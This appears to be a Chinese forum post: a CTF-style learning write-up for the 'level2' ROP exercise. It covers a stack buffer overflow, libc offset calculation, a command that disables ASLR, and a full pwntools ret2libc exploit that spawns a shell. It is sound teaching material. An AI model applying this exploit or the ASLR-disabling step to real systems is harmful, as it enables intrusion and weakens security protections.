首页
社区
课程
招聘
[原创]蒸米ROP基础pwn-Level2
2024-4-25 19:46 974

[原创]蒸米ROP基础pwn-Level2

2024-4-25 19:46
974

SkYe Wiki
蒸米ROP笔记

github仓库

1.环境

ubuntu1~16.04.12
pwndbg
pwn:level2
Libc查询网站

2.目标

通过栈溢出控制程序流,学习手动计算Libc偏移量。

3.流程

3.1检查保护措施

1
2
3
4
5
6
7
8
giantbranch@ubuntu:~/pwn/ROP_STEP_BY_STEP/linux_x86$ checksec  level2
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/home/giantbranch/pwn/ROP_STEP_BY_STEP/linux_x86/level2'
    Arch:     i386-32-little
    RELRO:    Partial RELRO   #部分地址随机化
    Stack:    No canary found
    NX:       NX enabled    #堆栈不可执行
    PIE:      No PIE (0x8048000)

3.2 漏洞点

漏洞发生溢出的地方是 vulnerable_function函数

1
2
3
4
5
6
ssize_t vulnerable_function()
{
  char buf[136]; // [esp+10h] [ebp-88h] BYREF
 
  return read(0, buf, 0x100u); #0是文件描述 0x88用户指定的缓冲区大小 0x100 用户指定读取大小
}

读取的大小超过缓冲区

3.3 解题

动态调试下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
00:0000│ esp  0xffffd180 ◂— 0x0
01:0004│      0xffffd184 —▸ 0xffffd190 ◂— 0x61616161 ('aaaa')
02:0008│      0xffffd188 ◂— 0x100
03:000c│      0xffffd18c ◂— 0x1
04:0010│ ecx  0xffffd190 ◂— 0x61616161 ('aaaa')
05:0014│      0xffffd194 ◂— 0x61616162 ('baaa')
06:0018│      0xffffd198 ◂— 0x61616163 ('caaa')
07:001c│      0xffffd19c ◂— 0x61616164 ('daaa')
 
 EAX  0x89
 EBX  0x0
 ECX  0xffffd190 ◂— 0x61616161 ('aaaa')
 EDX  0x100
 EDI  0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0
 ESI  0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0
 EBP  0xffffd218 —▸ 0xffffd20a ◂— 0x61676261 ('abga')
 ESP  0xffffd180 ◂— 0x0
 EIP  0x804842b (vulnerable_function+39) ◂— leave 

关键的一步计算溢出多少可以覆盖到Ebp
ebpebp -ebpecx = 溢出可以覆盖到ebp的大小
0xffffd218 - 0xffffd190 = 0x88
现在有个很重要的问题为什么不是 ebpebp-ebpesp ,因为这样计算是整个栈帧的大小不是溢出的大小,可以栈中看到数据是从ecx开始生长。

关闭地址随机化解决 RELRO的问题

1
2
3
sudo -S
echo 0 > /proc/sys/kernel/randomize_va_space
exit

堆栈不可执行就算shellcode覆盖到堆栈也是没执行权限的。
每个程序都会调用函数库libc.so,而且里面还有system(/bin/sh)函数可以用来获取shell
system() 和 /bin/sh 需要去计算偏移量获取它们的内存地址。

公式是这样的比如 你想得到str_bin_sh的地址
libc基地址 = system_addr - 0x03adb0
str_bin_sh_addr = 0x15bb0b + libc基地址
system_addr通过pwndbg 的print命令就可以得到

1
2
gdb-peda$ print system 
$11 = {<text variable, no debug info>} 0xf7e3edb0 <__libc_system>

4.Exp

Exp和普通的栈溢出没什么区,主要就是上面的地址计算和溢出计算

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import * 
 
 
p = process('level2')
context.log_level = 'debug'
 
if args.G:
    gdb.attach(p, "b *vulnerable_function\r\n")
str_bin_sh = 0xF7F5FB2B
system_addr = 0xf7e3edb0
ret_system = 0xdeadbeef
payload = b'a'*140 + p32(system_addr) + p32(ret_system) + p32(str_bin_sh)# b'a'*140 是为类腾出溢出的地址确保能ret到system_addr; system_addr = 0xf7e3edb0是垃圾数据填什么都行这是再system_addr函数执行完的返回地址
 
p.send(payload)
p.interactive()
 
0xf7e3edb0

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
点赞1
打赏
分享
最新回复 (1)
雪    币: 19485
活跃值: (29158)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
秋狝 2024-4-26 09:08
2
1
感谢分享
游客
登录 | 注册 方可回帖
返回